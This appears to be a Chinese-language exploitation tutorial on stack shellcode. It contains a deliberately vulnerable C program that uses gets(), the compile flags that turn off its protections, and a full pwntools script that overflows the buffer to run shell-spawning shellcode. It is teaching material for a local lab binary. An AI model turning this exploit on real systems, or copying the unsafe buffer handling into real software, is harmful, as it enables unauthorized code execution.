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栈 Shellcode

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基本信息

栈 Shellcode 是一种在二进制利用中使用的技术，攻击者将 shellcode 写入一个易受攻击程序的栈中，然后修改指令指针（IP）或扩展指令指针（EIP），使其指向该 shellcode 的位置，从而执行该 shellcode。这是一种经典方法，用于未经授权访问或在目标系统上执行任意命令。以下是该过程的详细说明，包括一个简单的 C 示例以及如何使用 Python 和 pwntools 编写相应的利用程序。

C 示例：一个易受攻击的程序

让我们从一个易受攻击的 C 程序的简单示例开始：

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

这个程序由于使用了gets()函数而容易受到缓冲区溢出的影响。

编译

要编译这个程序并禁用各种保护措施（以模拟一个有漏洞的环境），您可以使用以下命令：

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -fno-stack-protector: 禁用堆栈保护。
• -z execstack: 使堆栈可执行，这对于在堆栈上执行存储的 shellcode 是必要的。
• -no-pie: 禁用位置无关可执行文件，使得更容易预测 shellcode 将位于的内存地址。
• -m32: 将程序编译为 32 位可执行文件，通常用于简化利用开发。

使用 Pwntools 编写的 Python 攻击

以下是如何使用 pwntools 在 Python 中编写攻击以执行 ret2shellcode 攻击：

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

这个脚本构建了一个由NOP滑动、shellcode组成的有效载荷，然后用指向NOP滑动的地址覆盖EIP，确保shellcode被执行。

NOP滑动(asm('nop'))用于增加执行进入我们的shellcode的机会，无论确切地址如何。调整p32()参数为缓冲区起始地址加上一个偏移量，以落入NOP滑动中。

保护措施

• ASLR 应该被禁用，以确保地址在不同执行中可靠，否则函数存储的地址不会始终相同，你需要一些泄漏来找出win函数加载的位置。
• 栈保护也应该被禁用，否则受损的EIP返回地址将不会被跟随。
• NX 栈保护会阻止在栈内执行shellcode，因为该区域不可执行。

其他示例和参考资料

• https://ir0nstone.gitbook.io/notes/types/stack/shellcode
• https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
• 64位，带有栈地址泄漏的ASLR，编写shellcode并跳转至其
• https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
• 32位，带有栈泄漏的ASLR，编写shellcode并跳转至其
• https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
• 32位，带有栈泄漏的ASLR，比较以防止调用exit()，用值覆盖变量并编写shellcode并跳转至其
• https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
• arm64，无ASLR，ROP gadget使栈可执行并跳转至栈中的shellcode

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